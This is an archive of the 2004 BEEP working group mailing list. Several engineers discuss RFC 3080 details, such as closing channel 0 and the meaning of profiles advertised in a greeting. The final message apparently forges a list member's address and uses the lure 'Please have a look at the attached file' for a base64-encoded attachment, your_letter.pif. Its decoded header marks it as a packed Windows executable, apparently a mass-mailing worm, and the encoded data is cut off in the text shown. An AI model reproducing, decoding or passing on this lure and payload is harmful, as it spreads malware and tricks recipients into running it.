core dumps while trying to reference channel 1.  This does not look like 
100% implementation issue - the RFC can be more affirmative on this?

Thanks..




From mrose@dbc.mtview.ca.us Thu Feb 19 21:37:32 2004
Received: from drakken.dbc.mtview.ca.us ([209.75.253.190])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i1K5W5WJ021608
	for <beepwg@lists.beepcore.org>; Thu, 19 Feb 2004 21:32:30 -0800 (PST)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id i1K5Uv83001395;
	Thu, 19 Feb 2004 21:30:57 -0800 (PST)
Date: Thu, 19 Feb 2004 21:30:57 -0800
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: Lei Zhang <lzhang@juniper.net>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] When can a BEEP peer send <close number='0'>
Message-Id: <20040219213057.09862395.mrose@dbc.mtview.ca.us>
In-Reply-To: <403535F3.2050003@juniper.net>
References: <403535F3.2050003@juniper.net>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> RFC 3080 section 2.3.1.3 clearly specifies when a BEEP peer may send a 
> "close" message for a channel, but the RFC isn't quite clear about when 
> a BEEP peer may send <close number='0'>.  I''m asking this because I run 
> into a problem with beepcore-c: peer A sends <close number='0'> after it 
> receives <close number='1'> but before it acknowledges the channel close 
> request; and peer B releases all channel on seeing <close number='0'>, 
> then it sees the <ok> for the <close number='1'> request it sent out and 
> core dumps while trying to reference channel 1.  This does not look like 
> 100% implementation issue - the RFC can be more affirmative on this?

well, i think that the spec is pretty clear. sounds to me like a bug in
beepcore-c (which no one ever claimed was a great implementation of beep,
particularly the authors of beepcore-c...)

/mtr

From rgerhards@hq.adiscon.com Fri Feb 20 00:27:55 2004
Received: from mail.hq.adiscon.com (mail.hq.adiscon.com [217.6.190.188])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i1K8HuWJ022858
	for <BEEPwg@lists.beepcore.org>; Fri, 20 Feb 2004 00:17:57 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by mail.hq.adiscon.com (Postfix) with ESMTP
	id 4D4A79C51A; Fri, 20 Feb 2004 09:17:44 +0100 (CET)
Received: from mail.hq.adiscon.com ([127.0.0.1])
	by localhost (grfdeb [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30247-06; Fri, 20 Feb 2004 09:17:09 +0100 (CET)
Received: from grfext.intern.adiscon.com (unknown [192.168.0.2])
	by mail.hq.adiscon.com (Postfix) with SMTP
	id 963A99C4FE; Fri, 20 Feb 2004 09:17:09 +0100 (CET)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Fri, 20 Feb 2004 09:17:06 +0100
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Subject: RE: [BEEPwg] When can a BEEP peer send <close number='0'>
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Fri, 20 Feb 2004 09:17:06 +0100
Message-ID: <28915501A44DBA4587FE1019D675F9831AE2D2@grfint>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] When can a BEEP peer send <close number='0'>
Thread-Index: AcP3PIcFGB+xXXqUTX6iAmxO1VSy7AATTRYg
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: "Lei Zhang" <lzhang@juniper.net>
Cc: <BEEPwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id i1K8HuWJ022858
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

I think this is a bug in beepcore-c. Any peer receiving a "close" MUST
NOT reply with "ok", but can also reply with "error". The later, IMHU,
should be used as long as any other channels are open if the close
request is for channel 0. Thus, beepcore MUST NOT allow to close channel
0 in the case you describe.

Rainer 

> -----Original Message-----
> From: Lei Zhang [mailto:lzhang@juniper.net] 
> Sent: Thursday, February 19, 2004 11:17 PM
> To: beepwg@lists.beepcore.org
> Subject: [BEEPwg] When can a BEEP peer send <close number='0'>
> 
> RFC 3080 section 2.3.1.3 clearly specifies when a BEEP peer 
> may send a 
> "close" message for a channel, but the RFC isn't quite clear 
> about when 
> a BEEP peer may send <close number='0'>.  I''m asking this 
> because I run 
> into a problem with beepcore-c: peer A sends <close 
> number='0'> after it 
> receives <close number='1'> but before it acknowledges the 
> channel close 
> request; and peer B releases all channel on seeing <close 
> number='0'>, 
> then it sees the <ok> for the <close number='1'> request it 
> sent out and 
> core dumps while trying to reference channel 1.  This does 
> not look like 
> 100% implementation issue - the RFC can be more affirmative on this?
> 
> Thanks..
> 
> 
> 
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://lists.beepcore.org/mailman/listinfo/beepwg
> 


From lzhang@juniper.net Wed Mar 17 10:02:32 2004
Received: from colo-dns-ext2.juniper.net (colo-dns-ext2.juniper.net [207.17.137.64])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2HHqeFV028526
	for <beepwg@lists.beepcore.org>; Wed, 17 Mar 2004 09:52:40 -0800 (PST)
Received: from merlot.juniper.net (merlot.juniper.net [172.17.27.10])
	by colo-dns-ext2.juniper.net (8.12.3/8.12.3) with ESMTP id i2HHqYBm095680
	for <beepwg@lists.beepcore.org>; Wed, 17 Mar 2004 09:52:34 -0800 (PST)
	(envelope-from lzhang@juniper.net)
Received: from juniper.net (lzhang-bsd.juniper.net [172.17.20.151])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id i2HHqWJ97328
	for <beepwg@lists.beepcore.org>; Wed, 17 Mar 2004 09:52:34 -0800 (PST)
	(envelope-from lzhang@juniper.net)
Message-ID: <40589060.70207@juniper.net>
Date: Wed, 17 Mar 2004 09:52:32 -0800
From: Lei Zhang <lzhang@juniper.net>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.8) Gecko/20020206
X-Accept-Language: en-us
MIME-Version: 1.0
To: beepwg@lists.beepcore.org
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] <profile> contained within <greeting>
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

A simple question that I cannot find answer from RFC 3080: should a 
<greeting> message contain _all_ profiles the BEEP peer supports, or 
should it contain only those profiles that it is willing to act as 
listener?  What's the intended use for those profile elements in a 
<greeting> message?

Thanks..


From mrose@dbc.mtview.ca.us Wed Mar 17 16:52:33 2004
Received: from drakken.dbc.mtview.ca.us (64-73-228-56.cust.telepacific.net [64.73.228.56])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2I0hsFV001878
	for <beepwg@lists.beepcore.org>; Wed, 17 Mar 2004 16:43:54 -0800 (PST)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id i2I0hncW004380;
	Wed, 17 Mar 2004 16:43:49 -0800 (PST)
Date: Wed, 17 Mar 2004 16:43:49 -0800
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: Lei Zhang <lzhang@juniper.net>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] <profile> contained within <greeting>
Message-Id: <20040317164349.4c297902.mrose@dbc.mtview.ca.us>
In-Reply-To: <40589060.70207@juniper.net>
References: <40589060.70207@juniper.net>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> A simple question that I cannot find answer from RFC 3080: should a 
> <greeting> message contain _all_ profiles the BEEP peer supports, or 
> should it contain only those profiles that it is willing to act as 
> listener?  What's the intended use for those profile elements in a 
> <greeting> message?

the greeting "advertises profiles that it supports". the specification
does not define what "supports" means. some might say that was on
purpose...
    
/mtr

From rgerhards@hq.adiscon.com Thu Mar 18 00:42:34 2004
Received: from mail.hq.adiscon.com (mail.hq.adiscon.com [217.6.190.188])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2I8YuFV005224
	for <beepwg@lists.beepcore.org>; Thu, 18 Mar 2004 00:34:57 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by mail.hq.adiscon.com (Postfix) with ESMTP
	id 813F99C61A; Thu, 18 Mar 2004 09:37:03 +0100 (CET)
Received: from mail.hq.adiscon.com ([127.0.0.1])
	by localhost (grfdeb [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05098-07; Thu, 18 Mar 2004 09:36:20 +0100 (CET)
Received: from grfext.intern.adiscon.com (unknown [192.168.0.2])
	by mail.hq.adiscon.com (Postfix) with SMTP
	id 449149C4C0; Thu, 18 Mar 2004 09:36:20 +0100 (CET)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Thu, 18 Mar 2004 09:33:57 +0100
Subject: RE: [BEEPwg] <profile> contained within <greeting>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Thu, 18 Mar 2004 09:33:57 +0100
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Message-ID: <28915501A44DBA4587FE1019D675F9831AE5C0@grfint>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] <profile> contained within <greeting>
Thread-Index: AcQMhij4x0E8ITcwQqaho6ugC8NqPgAPO5+w
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: "Lei Zhang" <lzhang@juniper.net>
Cc: <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id i2I8YuFV005224
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

 
> > A simple question that I cannot find answer from RFC 3080: should a 
> > <greeting> message contain _all_ profiles the BEEP peer 
> supports, or 
> > should it contain only those profiles that it is willing to act as 
> > listener?  What's the intended use for those profile elements in a 
> > <greeting> message?
> 
> the greeting "advertises profiles that it supports". the specification
> does not define what "supports" means. some might say that was on
> purpose...

In my implementation, I advertise only those profiles that I am ready to
accept. And if I am a client peer, I expect that I can call up any
profiles that the server peer advertises. Everything else sounds
illogical to me. 

Just theoretical: a listener - in my point of view - may also
temporarily NOT advertise some profiles if it *temporarily* is unable to
process them (e.g. a needed ressources for one profile is offline while
the other profiles can be handled). So I think <greeting> is of highly
dynamic nature - and the listener should only avertise those profiles
that it actually *expects* to be able to accept (of course, this
assumption may turn out to be false at any time later so the listener
may still need to "ERR" on a requested profile (e.g. while a necessary
ressources goes just at this moment offline) - but I think this is as
always in IT (and life) - expect unexpected things to happen ;)

HTH
Rainer


From jhw@wetware.com Thu Mar 25 00:06:29 2004
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2P830Fx024527
	for <beepwg@lists.beepcore.org>; Thu, 25 Mar 2004 00:03:00 -0800 (PST)
Received: from [208.177.152.18] (helo=[10.0.1.7])
	by wetware.com with esmtp (Exim 4.20)
	id 1B6Pp4-0002SJ-HQ
	for beepwg@lists.beepcore.org; Thu, 25 Mar 2004 00:02:42 -0800
Mime-Version: 1.0 (Apple Message framework v613)
In-Reply-To: <28915501A44DBA4587FE1019D675F9831AE5C0@grfint>
References: <28915501A44DBA4587FE1019D675F9831AE5C0@grfint>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <CA5E5334-7E32-11D8-AA55-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] <profile> contained within <greeting>
Date: Thu, 25 Mar 2004 00:02:41 -0800
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.613)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On 18 Mar 2004, at 00:33, Rainer Gerhards wrote:
>
> In my implementation, I advertise only those profiles that I am ready 
> to
> accept. And if I am a client peer, I expect that I can call up any
> profiles that the server peer advertises. Everything else sounds
> illogical to me.

My implementation regards the list of profiles in the <greeting> 
message as 'advisorial' in nature.  I predict that some applications 
will want the ability for the listener to obscure its capability to 
support a profile by opting not to advertise it in the initial 
<greeting> message.  (I can envision ways this could be used to slow 
down hostile server probes from discovering servers with specific 
applications simply by making the probers do a lot more work to 
discover their targets.)

It's also the case that a BEEP endpoint must cope if a profile 
advertised in a received <greeting> message turns out to not be 
supported by the peer, i.e. attempts to start channels with that 
profile produce an <error> with code 550.

In other words, it's no guarantee that a remote peer does not support a 
given profile if it doesn't appear in the greeting, and it's also no 
guarantee that a remote peer does support a given profile if it *does* 
appear in the greeting.  The only way you know if the peer supports a 
profile at the time you want to start a channel for it is if the peer 
responds to a <start> message with a <profile> response.

The only reasonable things a BEEP endpoint can do with the list of 
profiles in a <greeting> message: 1) [in the event it has not yet sent 
an initial exchange entity] make its decision about whether to send its 
own <greeting> or an <error>; or 2) [in any event] make its decision 
about which profiles to use in attempting to start which channels in 
what order of priority.


-- 
j h woodyatt <jhw@wetware.com>
don't take any wooden root certs...


From rgerhards@hq.adiscon.com Thu Mar 25 01:16:29 2004
Received: from mail.hq.adiscon.com (mail.hq.adiscon.com [217.6.190.188])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2P96SFx025092
	for <beepwg@lists.beepcore.org>; Thu, 25 Mar 2004 01:06:29 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by mail.hq.adiscon.com (Postfix) with ESMTP
	id E4E0D9C699; Thu, 25 Mar 2004 10:09:18 +0100 (CET)
Received: from mail.hq.adiscon.com ([127.0.0.1])
	by localhost (grfdeb [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17554-07; Thu, 25 Mar 2004 10:08:40 +0100 (CET)
Received: from grfext.intern.adiscon.com (unknown [192.168.0.2])
	by mail.hq.adiscon.com (Postfix) with SMTP
	id 97F009C696; Thu, 25 Mar 2004 10:08:40 +0100 (CET)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Thu, 25 Mar 2004 10:05:40 +0100
Subject: RE: [BEEPwg] <profile> contained within <greeting>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Thu, 25 Mar 2004 10:05:40 +0100
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Message-ID: <28915501A44DBA4587FE1019D675F9831AE6A3@grfint>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: [BEEPwg] <profile> contained within <greeting>
Thread-Index: AcQSROT14PmkSWY0Rqqu7ko8s8SywQAAqSJg
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: "james woodyatt" <jhw@wetware.com>, "BEEP WG" <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id i2P96SFx025092
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> In other words, it's no guarantee that a remote peer does not 
> support a 
> given profile if it doesn't appear in the greeting, 

mmmhhh... is this really in the spirit of BEEP? I doubt... My
implementation does NOT request profiles which are NOT advertised and I
think it is not a good idea to do so.

> and it's also no 
> guarantee that a remote peer does support a given profile if 
> it *does* 
> appear in the greeting.  

This sounds reasonable - the profile may also simply have gone offline
for some tech reason.

> The only way you know if the peer supports a 
> profile at the time you want to start a channel for it is if the peer 
> responds to a <start> message with a <profile> response.

So why have the greeting at all? Honestly, if would I agree to your
points, I would conclude that the greeting is a comment. So why shuffle
that comment along the wire if there is no need for it? At least it
should become an optional argument.

I am also sceptic about this as a "security measure". Agree, it would
make probing a little more time intense, but I could request the
profiles anyhow. So I don't see this adds much. Wouldn't it be more
appropriate to use the tuning profiles and allow only trusted
connections in this case ;)

Rainer



From jhw@wetware.com Thu Mar 25 09:56:35 2004
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i2PHkbFx001370
	for <beepwg@lists.beepcore.org>; Thu, 25 Mar 2004 09:46:38 -0800 (PST)
Received: from [208.177.152.18] (helo=[10.0.1.7])
	by wetware.com with esmtp (Exim 4.20)
	id 1B6Yw4-0002lL-IC
	for beepwg@lists.beepcore.org; Thu, 25 Mar 2004 09:46:32 -0800
Mime-Version: 1.0 (Apple Message framework v613)
In-Reply-To: <28915501A44DBA4587FE1019D675F9831AE6A3@grfint>
References: <28915501A44DBA4587FE1019D675F9831AE6A3@grfint>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <5A659C76-7E84-11D8-AA55-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] <profile> contained within <greeting>
Date: Thu, 25 Mar 2004 09:46:32 -0800
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.613)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On 25 Mar 2004, at 01:05, Rainer Gerhards wrote:
>
> mmmhhh... is this really in the spirit of BEEP? I doubt... My
> implementation does NOT request profiles which are NOT advertised and I
> think it is not a good idea to do so.

I think your implementation is being more conservative in what it sends 
than what the specification requires.  Nothing *really* wrong with 
that, but from what I know about the "spirit of BEEP" I'm not sure I 
would agree with you about whether it's a good idea.

The designers of the protocol have been known to apply qualifications 
to the conventional wisdom that a protocol implementation should be 
liberal in what it accepts and conservative in what it sends.  
Specifically, I've seen at least one of them warn about the dangers of 
being too liberal and too conservative, respectively.

>> The only way you know if the peer supports a
>> profile at the time you want to start a channel for it is if the peer
>> responds to a <start> message with a <profile> response.
>
> So why have the greeting at all? Honestly, if would I agree to your
> points, I would conclude that the greeting is a comment. So why shuffle
> that comment along the wire if there is no need for it? At least it
> should become an optional argument.

Here's why: suppose you have a application protocol in which a client 
starts a set of channels with a specific profile after tuning the 
session for an authentication layer.  The first greeting message from 
the server should contain a list of profiles for SASL mechanisms.  It 
might be a matter of policy at the server which authentication 
mechanisms are required for clients, and this policy might vary from 
server to server.

Therefore, a client needs the greeting message to know which 
authentication mechanisms the server claims to support.

> I am also sceptic about this as a "security measure". Agree, it would
> make probing a little more time intense, but I could request the
> profiles anyhow. So I don't see this adds much. Wouldn't it be more
> appropriate to use the tuning profiles and allow only trusted
> connections in this case ;)

It's not a "security" measure.  It's only camouflage.  And I agree, it 
doesn't add much security.  Doesn't mean people won't want to do it.

Here's another thing to keep in mind: a BEEP endpoint may start a new 
session by sending a <greeting> message after a previous session is 
released by a <close> message.  It's not just after a tuning reset when 
an endpoint can send another <greeting>.

Why in the world would you want to do this?  Again, probably only when 
you're trying to camouflage a server.  What kind of lunatics wear 
camouflage in public?  I couldn't say.  They're not normal people, 
that's for sure.


-- 
j h woodyatt <jhw@wetware.com>
that's my village calling... no doubt, they want their idiot back.


From presnick@qualcomm.com Wed Apr  7 17:46:54 2004
Received: from lists.beepcore.org ([218.75.60.19])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i380dqk8027006
	for <beepwg@lists.beepcore.org>; Wed, 7 Apr 2004 17:39:53 -0700 (PDT)
Message-Id: <200404080039.i380dqk8027006@qawoor.dbc.mtview.ca.us>
From: presnick@qualcomm.com
To: beepwg@lists.beepcore.org
Date: Thu, 8 Apr 2004 08:37:22 +0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0014_00000D55.00004387"
X-Priority: 3
X-MSMail-Priority: Normal
Subject: [BEEPwg] Re: Your letter
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multi-part message in MIME format.

------=_NextPart_000_0014_00000D55.00004387
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Please have a look at the attached file.

------=_NextPart_000_0014_00000D55.00004387
Content-Type: application/octet-stream;
	name="your_letter.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_letter.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC
AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy
dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN
